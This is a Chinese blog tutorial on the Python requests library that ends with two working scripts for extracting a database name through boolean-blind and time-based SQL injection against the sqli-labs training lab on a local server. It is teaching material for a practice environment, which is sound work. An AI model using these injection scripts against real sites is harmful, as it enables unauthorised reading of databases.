Python----POC到EXP（requests模块、python脚本实现布尔盲注、延时注入）

最新推荐文章于 2024-08-10 07:31:40 发布
最新推荐文章于 2024-08-10 07:31:40 发布
阅读量2.9k 收藏 29
点赞数 6
分类专栏： Python
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_45677119/article/details/111626530
版权

文章目录

Python

一、POC、EXP

POC：全称 ’ Proof of Concept '，中文 ’ 概念验证 ’ ，常指一段漏洞证明的代码。
EXP：全称 ’ Exploit '，中文 ’ 利用 '，指利用系统漏洞进行攻击的动作。
Payload：中文 ’ 有效载荷 '，指成功exploit之后，真正在目标系统执行的代码或指令。
Shellcode：简单翻译 ’ shell代码 '，是Payload的一种，由于其建立正向/反向shell而得名。

简述：POC是用来证明漏洞存在的，EXP是用来利用漏洞的；或者说，PoC通常是无害的，Exp通常是有害的，有了POC，才有EXP。

Payload有很多种，它可以是Shellcode，也可以直接是一段系统命令。同一个Payload可以用于多个漏洞，但每个漏洞都有其自己的EXP，也就是说不存在通用的EXP。

Shellcode也有很多种，包括正向的，反向的，甚至meterpreter。

- 总结

想象自己是一个特工，你的目标是监控一个重要的人，有一天你怀疑目标家里的窗子可能没有关，于是你上前推了推，结果推开了，这是一个POC。之后你回去了，开始准备第二天的渗透计划，第二天你通过同样的漏洞渗透进了它家，仔细查看了所有的重要文件，离开时还安装了一个隐蔽的窃听器，这一天你所做的就是一个EXP，你在他家所做的就是不同的Payload，就把窃听器就当作Shellcode。

二、使用Python编写EXP

基础环境Python3，核心模块requests。

1. requests模块

- 概述

requests是使用Apache2 licensed 许可证的HTTP库，用python编写，比urll ib2模块更简洁。

Request支持HTTP连接保持和连接池，支持使用cookie保持会话，支持文件上传，支持自动响应内容的编码，支持国际化的URL和POST数据自动编码。

requests会自动实现持久连接keep-alive。

- 支持HTTP的方法
GET      获取资源
POST     传输实体主体
PUT      传输文件
HEAD     获得响应报文首部
DELETE   删除文件
OPTIONS  查询支持的方法
TRACE    追踪路径
CONNECT  要求用隧道协议连接代理
LINK     建立和资源之间的连接
UNLINK   断开连接关系
- requests使用HTTP方法
res = requests.get()
res = requests.post()
res = requests.put()
res = requests.delete()
res = requests.head()
res = requests.options()
- 参数
GET参数          params
HTTP头部         headers
POST参数         data
文件             files
Cookies          cookies
重定向处理        allow_redirects = False/True
超时             timeout
证书验证          verify = False/True
工作流(延迟下载)   stream=False/ True
事件挂钩          hooks=dict (response=)
身份验证          auth=
代理             proxies=
- 对象对应的方法
对象                    方法
URL             .url
text            .text
编码             .encoding | .encoding=
响应内容          .content
Json解码器        .json
原始套接字响应     .raw | .raw.read() (需要升启stream=True)
历史响应代码       .history
抛出异常          .raise_for_status()
查看服务器响应头   .headers 
查看客户端请求头   .request.headers
查看Cookie       .cookies
身份验证          .auth=
更新             .update
解析连接字头      .links []

2. 快速开始

windows 2008为服务器（192.168.40.129）

  1. 导入requests模块，没有的需要下载
python -m pip install requests
  1. 基本测试

服务器的get.php页面

<?php
var_dump($_GET);
?>

测试：

# 导入requests模块
>>> import requests
# 发送get请求将响应所得的所有内容放入res现象中
>>> res = requests.get("http://192.168.40.129/PHP/requests/get.php")
# 获取url
>>> res.url
'http://192.168.40.129/PHP/requests/get.php'
# 获取正文
>>> res.text
'array(0) {\n}\n'
# 获取响应码
>>> res.status_code
200
# 获取响应编码
>>> res.encoding
'ISO-8859-1'
# 以二进制方式获取响应正文
>>> res.content
b'array(0) {\n}\n'
# 获取响应头部
>>> res.headers
{'Date': 'Thu, 24 Dec 2020 07:23:33 GMT', 'Server': 'Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45', 'X-Powered-By': 'PHP/5.4.45', 'Content-Length': '13', 'Keep-Alive': 'timeout=5, max=100', 'Connection': 'Keep-Alive', 'Content-Type': 'text/html'}

3. 相关操作

- 定制头部

重新定义User-Agent

import requests

url = "http://192.168.40.129/PHP/requests/get.php"
header = {"User-Agent":"HELLO"}
res = requests.get(url,headers = header)
print(res.request.headers)

运行结果：

在这里插入图片描述

- 超时

服务器的timeout.php页面，设置sleep5秒

<?php
echo "Hello,world!";
sleep(5);
?>

使用python脚本发送get请求，如果3秒内没有得到响应就打印出：Time Out错误：

import requests

url = "http://192.168.40.129/PHP/requests/timeout.php"

try:
    res = requests.get(url,timeout = 3)
    print(res.text)

except Exception as e:
    print("Time Out")

运行结果：

在这里插入图片描述

- GET传参
import requests

url = "http://192.168.40.129/PHP/requests/get.php"

getPara = {"name":"hello","password":"123456"}

res = requests.get(url,params = getPara)

print(res.text)
print(res.url)

运行结果：

在这里插入图片描述

- POST传参
import requests

url = "http://192.168.40.129/PHP/requests/post.php"

postData = {"name":"hello","password":"123456"}
res = requests.post(url,data=postData)

print(res.text)

运行结果：

在这里插入图片描述

- 上传文件

服务器网页：

在这里插入图片描述
本地文件：

在这里插入图片描述

py代码：

import requests

url = "http://192.168.40.129/PHP/requests/upfiles.php"
# {"文件上传input标签的name":open("本地文件路径","二进制方式")}
upFile = {"upFile":open("test.txt","rb")}
# {"提交input标签的name":"标签的value"}
postData = {"userSubmit":"submit"}
res = requests.post(url,files = upFile,data = postData)
print(res.text)

运行结果：

在这里插入图片描述

成功上传到服务器：

在这里插入图片描述

- 重定向

301 redirect：代表永久性转移；
302 redirect：代表暂时性转移；
meta fresh：通过网页中的meta指令，在特定时间后重定向到新的网页，如果延迟的时间太短(约5秒之内)，会被判断为spam。

测试：

服务器设置index.php：使用302重定向

<?php
echo "This is index.php";
header("Location: ./302.php");
?>

302.php页面

<?php
echo "This is 302.php";
?>

py测试代码：关闭重定向

import requests

url = "http://192.168.40.129/PHP/requests/index.php"
res = requests.get (url = url)
print(res.text)
print(res.history)    # 历史响应状态码
res = requests.get(url, allow_redirects=False)
print(res.headers)
print(res.text)

运行结果：

在这里插入图片描述

- cookie
import requests

url = "http://192.168.40.129/PHP/requests/getcookie.php"

userCookie = {"name":"hello"}

res = requests.get(url,cookies = userCookie)
print(res.text)

运行结果：

在这里插入图片描述

三、简单示例

1. py脚本实现布尔盲注

以sqli-labs第八关为例。利用py脚本获取数据库名。

第八关由于注入 ?id=1' and 1=1 --+ 和 ?id=1' and 1=2 --+ 页面回显不同(即html正文长度不同)，所以存在布尔盲注。

py代码原理：通过循环判断正常访问网页的html正文长度和注入sql语句后获取到的正文长度，当它们相等说明判断正确。

import requests
import string

url = "http://192.168.40.129/PHP/sqli-labs-master/Less-8/"
# 1. 计算正常页面长度
normalTextLen = len(requests.get(url+"?id=1").text)
print("normal Text Length: " + str(normalTextLen))
# 2. 定义数据库名长度
dbNameLen = 0
# 3. 循环判断数据库名长度
while True:
    # 拼接注入的sql语句，变量为dbNameLen，+:空格，由于dbNameLen是一个数字我们需要转化为字符
    dbNameLen_url = url + "?id=1'+and+length(database())=" + str(dbNameLen) + "--+"
    print(dbNameLen_url)

    if len(requests.get(dbNameLen_url).text) == normalTextLen:
        print("db Name Length: " + str(dbNameLen))
        break

    if dbNameLen == 30:
        print("Error!")
        break

    dbNameLen += 1

# 4. 定义数据库名
dbName = ""
# 5. 由于上面判断出数据库长，所以我们需要定义从 1 下标开始遍历数据库名
for i in range(1,dbNameLen+1):
    # 6. 定义字典：26个小写字母
    for a in string.ascii_lowercase:
        dbName_url = url + "?id=1'+and+substr(database(),"+ str(i) +",1)='"+ a +"'--+"
        print(dbName_url)
        if len(requests.get(dbName_url).text) == normalTextLen:
            dbName+=a
            print(dbName)
            break

运行结果：

在这里插入图片描述

2. py脚本实现延时注入

以sqli-labs第9关为例。

import requests
import string

url = "http://192.168.40.129/PHP/sqli-labs-master/Less-9/"

# 1. 定义函数用来判断网页请求是否超时，如果没超过3秒返回网页内容；如果超过3秒就返回字符串：timeout
def timeOut(url):
    try:
        res = requests.get(url,timeout = 3)
        return res.text
    except Exception as e:
        return "timeout"
# 2. 定义数据库名长度
dbNameLen = 1
# 3. 循环判断,如果判断正确页面就延时5秒
while True:
    dbNameLen_url = url + "?id=1'+and+if(length(database())="+ str(dbNameLen) + ",sleep(5),1)--+"
    print(dbNameLen_url)
    if "timeout" in timeOut(dbNameLen_url):
        print("db Name Length: " + str(dbNameLen))
        break
    if dbNameLen == 30:
        print("Error")
        break
    dbNameLen += 1
# 4. 定义数据库名
dbName = ""
# 5. 循环判断数据库名
for i in range(1,dbNameLen+1):
    for a in string.ascii_lowercase:
        dbName_url = url + "?id=1'+and+if(substr(database(),"+ str(i) +",1)='"+ a +"',sleep(5),1)--+";
        print(dbName_url)
        if "timeout" in timeOut(dbName_url):
            dbName += a
            print("db Name: " + dbName)
            break

运行结果：

在这里插入图片描述

- 补充：sys.argv[ ]
import sys

sys.argv[]

sys.argv[]：是一个从程序外部获取参数的桥梁，但从外部取得的参数可以是多个，所以获得的是一个列表（list)，所以才能用 [ ] 提取其中的元素。

sys.argv[0]即第一个元素，也是程序本身；

sys.argv[1]、sys.argv[2]… 才依次是外部给予的参数。

示例1：

import sys

print(sys.argv[0])

运行结果：就是程序本身的路径

在这里插入图片描述

示例2：

import sys

print(sys.argv[1])

运行结果：外部给予的参数

在这里插入图片描述

Tigirs
关注
专栏目录
python实现定制EXP
weixin_51693574的博客
01-31 983
python实现定制EXP 一、POC和EXP 四个常见概念： POC：（Proof of Concept）概念验证，常指一段漏洞证明的代码。 作用：用来证明漏洞存在的（无害的） EXP：（Exploit）利用，指利用系统漏洞进行攻击的动作。 作用：用来利用漏洞的（有害的） Payload：（攻击载荷，指成功exploit之后，真正在目标系统执行的代码或指令。 Shellcode：Payload的一种，由于其建立正向/反向shell而得名。 一个形象的比喻： 想象自己是特工，你目标是监控一个重要的
Python之路 | 布尔盲注、延时EXP编写
IerkeU的博客
03-29 937
什么是POC、EXP、payload？ 答： ​ POC： ​ 全称为‘Proof of concept’，意为概念验证，常指为一段漏洞的证明代码 ​ 理解为：发现可能存在的漏洞后，强调对漏洞是否存在进行验证 ​ EXP： ​ 全称为‘Exploit’，意为利用，指利用系统漏洞进行攻击的动作 ​ 理解为：对已存在的漏洞进行利用，强调利用已有的资源 ​ Payload： ​ 意为有效载荷，指成功exploit之后，真正在目标系统执行的代码或指令 ​ 理解为例如使用了一条恶意SQL语句，使网站出现报
python traceback_干货分享丨Python从入门到编写POC之常用的标准库
weixin_39796149的博客
10-24 342
前期回顾>>Python介绍及安装使用Python从入门到编写POC之读写文件Python从入门到编写POC之特殊函数Python从入门到编写POC系列文章是i春秋论坛作家「Exp1ore」表哥原创的一套完整教程，想系统学习Python技能的小伙伴，不要错过哦！公众号旨在为大家提供更多的学习方法与技能技巧，文章仅供学习参考。常用的标准库安装完Python之后，我们也同时获得了...
Python ESC/POS 库教程
最新发布
gitblog_00526的博客
08-10 330
Python ESC/POS 库教程 python-escposPython library to manipulate ESC/POS printers项目地址:https://gitcode.com/gh_mirrors/py/python-escpos 1. 项目介绍 Python ESC/POS 是一个 Python 库，用于控制支持 ESC/POS 命令集的打印机，这些命令由爱普生定义...
网络安全笔记-POC与EXP的Python实现
L120305q的博客
09-19 817
网络安全笔记-POC与EXP的Python实现
061 python实现EXP
鸡蛋炒鸡蛋
04-20 5245
文章目录一：概述二：环境准备三：requests库3.1：发送get请求3.2：相关方法3.3：相关操作3.3.1：定制头部3.3.2：超时3.3.3：GET传参 一：概述 python编写EXP，以web漏洞为主 exp 漏洞利用工具 1、能够看懂别人写的exp，并修改 2、能自己写exp 基础环境python3 核心模块requests 模块说明 requests是使用Apache2 license 许可证的http库 用python编写，比urllib2模块更简洁 requests支持http
python exp()
newfayi的博客
11-18 1164
转自 http://www.runoob.com/python/func-number-exp.html 描述 exp() 方法返回x的指数,ex。 语法 以下是 exp() 方法的语法: import math math.exp( x ) 注意：exp()是不能直接访问的，需要导入 math 模块，通过静态对象调用该方法。 参数
Some-PoC-oR-ExP:各种漏洞poc、Exp的收集或编写
04-28
总结起来，"Some-PoC-oR-ExP"是一个集成了多种漏洞PoC和Exp的资源库，主要使用Python语言实现，适用于安全研究和教育。通过深入研究这些实例，我们可以增进对漏洞本质的理解，提高安全防护意识，并且掌握安全编程...
sql注入-布尔盲注脚本
m0_58853680的博客
01-03 478
获取cms_users表中的username和password字段的值，并用冒号分隔（使用。USER_AGENT：模拟浏览器请求时使用的User-Agent头信息。实时打印已获取的部分数据库名，并在获取完整个名字后显示最终结果。若成功获取到长度不为None，则调用get_database_获取名为cms_users表的所有列名（同样使用group_接收一个参数content_length表示数据库名的长度。该函数利用SQL注入漏洞尝试获取数据库名或表名的长度。获取当前数据库中的所有表名（使用group_
common-python-lib-poc
03-21
这个压缩包"common-python-lib-poc-main"可能是该工具的主要执行文件或核心模块。 Python作为一款广泛使用的编程语言，在开发Web应用、数据分析、自动化等多个领域都有广泛应用。然而，随着其普及度的提高，安全...
MS17-010 python poc
03-23
MS17-010 python poc,MS17-010 python pocMS17-010 python pocMS17-010 python poc
sql注入pythonpoc_分享使用python编写poc,exp的实例教程
weixin_39592789的博客
12-17 533
在很久很久以，我有一个梦想 但是，后来我发现我的梦想渐渐没有了于是，昨天我思考了一晚上觉得我应该有个梦想的！好了，回到正题。正所谓明人不装暗逼，今天我家开通了公网ip我开森啊，很开森的那种！额，又跑题了下面我们真的开始了：0x01先来简单看看鞋poc，exp的思路吧：首先，我们需要知道这个漏洞，也就是发现漏洞然后，我们需要知道这个漏洞原理，也就是了解原理其次，我们需要搭建环境，或者是网上找环境了解...
python编写poc_基于Python 来编写 Poc/Exp 该怎么入门
weixin_29432863的博客
12-23 702
匿名用户1级2016-05-29 回答其实吧，无论乌云的Tangscan也好，知道创宇的Pocsuite也好，还有Beebeeto也好(Bugscan没写过，不是特别了解不过应该差不多)，关于Web的Poc和Exp，都极度依赖于两个Python库。1. Requests ： 模拟Web的请求和响应等交互动作。2. Re ： 正则表达式，用来验证返回的结果是否符合漏洞的预期，从而验证漏洞是否存在。...
python中exp函数_Python3 exp()函数
weixin_39551103的博客
12-21 577
语法以下是exp()方法的语法：import mathmath.exp( x )注：此函数无法直接访问，所以我们需要导入math模块，然后用数学静态对象调用这个函数。参数x--这是一个数字表达式返回值这个方法返回x的指数幂: ex.示例下面的示例显示exp()方法的使用。#!/usr/bin/python3import math # This will import math ...
python学习之dedecms exp编写
cxk
05-24 751
python学习之dedecms exp编写 针对织梦5.7 sp1远程文件包含getshell exp编写，漏洞分析请查看网上分析，不再赘述。 exp # -*- coding:utf-8 -*- import requests import time def dada(url): url_index=url+"/install/index.php" headers = {"...
Python脚本--延时注入
m0_62202418的博客
11-26 433
【代码】Python脚本--延时注入。
用Python编写EXP
weixin_41489908的博客
08-10 2365
高考过后，你不用告诉我你考多少分，悲喜之后也不要告诉我你志愿填了哪里，只要告诉我最后去了哪？我坐火车或飞机要多久，在此停留能否蹭口饭吃，一本二本我真的分不清楚，我只知道你是我朋友。。。 ---- 网易云热评 一、环境 1、python3 2、用到的模块requests 二、requests模块应用 1、获取网页的内容 # coding=utf-8 import requests res=requests.get("http://192.168.1.129/html/1.html")..
python sql延时注入脚本（从数据库名到字段）
m0_61815757的博客
04-13 2791
python sql延时盲注脚本
CVE-2017-12636 Python POC利用工具简析
资源摘要信息:"该文件包含了利用CVE-2017-12636漏洞的Python脚本，其本质上是一个概念验证（Proof of Concept，简称POC）。CVE-2017-12636是一个已经被公开的安全漏洞编号，用于标识特定的安全缺陷。漏洞存在于Web...
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值